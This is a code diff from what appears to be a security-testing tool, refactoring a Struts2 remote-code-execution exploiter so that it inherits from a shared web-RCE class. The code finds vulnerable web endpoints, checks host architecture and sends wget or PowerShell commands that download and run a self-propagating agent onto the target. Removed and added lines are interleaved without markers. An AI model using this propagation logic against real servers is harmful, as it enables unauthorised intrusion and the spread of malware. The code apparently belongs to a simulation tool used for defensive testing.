Struts2 core functions
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Vakaris
parent
87b0afae88
commit
8d7221eada
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@ -9,11 +9,8 @@ import unicodedata
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import re
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import logging
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from exploit import HostExploiter
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from exploit.tools import get_target_monkey, get_monkey_depth
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from tools import build_monkey_commandline, HTTPTools
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from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
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DROPPER_ARG
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from web_rce import WebRCE
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import copy
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__author__ = "VakarisZ"
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@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__)
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DOWNLOAD_TIMEOUT = 300
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# Commands used to check if monkeys already exists
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FIND_FILE = "ls %s"
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class Struts2Exploiter(HostExploiter):
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class Struts2Exploiter(WebRCE):
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_TARGET_OS_TYPE = ['linux', 'windows']
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def __init__(self, host):
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super(Struts2Exploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self.skip_exist = self._config.skip_exploit_if_file_exist
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self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
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def exploit_host(self):
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dropper_path_linux = self._config.dropper_target_path_linux
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dropper_path_win_32 = self._config.dropper_target_path_win_32
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dropper_path_win_64 = self._config.dropper_target_path_win_64
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ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
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# We need a reference to the exploiter for WebRCE framework to use
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exploiter = self.exploit
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# Get open ports
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ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"])
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if not ports:
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LOG.info("All web ports are closed on %r, skipping", self.host)
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return False
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for port in ports:
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if port[1]:
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current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
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else:
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current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
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# Get urls to try to exploit
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urls = WebRCE.build_potential_urls(self.host, ports)
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vulnerable_urls = []
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for url in urls:
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# Get full URL
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url = self.get_redirected(current_host)
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LOG.info("Trying to exploit with struts2")
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# Check if host is vulnerable and get host os architecture
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if 'linux' in self.host.os['type']:
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return self.exploit_linux(url, dropper_path_linux)
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else:
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return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
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def check_remote_file(self, host, path):
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command = FIND_FILE % path
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resp = self.exploit(host, command)
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if 'No such file' in resp:
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url = self.get_redirected(url)
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if WebRCE.check_if_exploitable(exploiter, url):
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vulnerable_urls.append(url)
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self._exploit_info['vulnerable_urls'] = vulnerable_urls
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if not vulnerable_urls:
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return False
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else:
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# We need to escape backslashes for our exploiter
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config = copy.deepcopy(self._config)
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config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32)
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config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64)
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if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True
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def exploit_linux(self, url, dropper_path):
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host_arch = Struts2Exploiter.check_exploit_linux(url)
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if host_arch:
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self.host.os['machine'] = host_arch
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if url and host_arch:
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LOG.info("Host is exploitable with struts2 RCE vulnerability")
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# If monkey already exists and option not to exploit in that case is selected
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if self.skip_exist and self.check_remote_file(url, dropper_path):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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# create server for http download.
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
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return False
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LOG.info("Started http server on %s", http_path)
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cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
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command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
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'http_path': http_path, 'parameters': cmdline}
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self.exploit(url, command)
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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LOG.info("Struts2 exploit attempt finished")
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return True
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return False
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def exploit_windows(self, url, dropper_paths):
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"""
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:param url: Where to send malicious request
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:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
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:return: Bool. Successfully exploited or not
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"""
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host_arch = Struts2Exploiter.check_exploit_windows(url)
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if host_arch:
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self.host.os['machine'] = host_arch
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if url and host_arch:
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LOG.info("Host is exploitable with struts2 RCE vulnerability")
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# If monkey already exists and option not to exploit in that case is selected
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if self.skip_exist:
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for dropper_path in dropper_paths:
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if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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# Select the dir and name for monkey on the host
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if "windows-32" in src_path:
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dropper_path = dropper_paths[0]
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else:
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dropper_path = dropper_paths[1]
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# create server for http download.
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
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return False
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LOG.info("Started http server on %s", http_path)
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# We need to double escape backslashes. Once for payload, twice for command
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cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
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command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
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'http_path': http_path, 'parameters': cmdline}
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backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
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'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
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resp = self.exploit(url, command)
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if 'powershell is not recognized' in resp:
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self.exploit(url, backup_command)
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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LOG.info("Struts2 exploit attempt finished")
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return True
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return False
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@staticmethod
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def check_exploit_windows(url):
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resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
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if resp and ID_STRING in resp:
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if "64-bit" in resp:
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return "64"
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else:
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return "32"
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else:
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if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]):
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return False
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@staticmethod
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def check_exploit_linux(url):
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resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
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if resp and ID_STRING in resp:
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# Pulls architecture string
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arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
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arch = arch.group(1)
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return arch
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else:
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data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0])
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# We can't use 'if not' because response may be ''
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if data is not False and data['response'] == False:
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return False
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if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False:
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return False
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if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False:
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return False
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return True
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@staticmethod
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def get_redirected(url):
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# Returns false if url is not right
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@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter):
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LOG.error("Can't reach struts2 server")
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return False
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@staticmethod
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def exploit(url, cmd):
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def exploit(self, url, cmd):
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"""
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:param url: Full url to send request to
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:param cmd: Code to try and execute on host
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@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter):
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page = e.partial
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return page
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@staticmethod
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def get_exploitable_ports(host, port_list, names):
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candidate_services = {}
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for name in names:
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chosen_services = {
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service: host.services[service] for service in host.services if
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('name' in host.services[service]) and (host.services[service]['name'] == name)
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}
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candidate_services.update(chosen_services)
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valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
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'tcp-' + str(port) in candidate_services]
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return valid_ports
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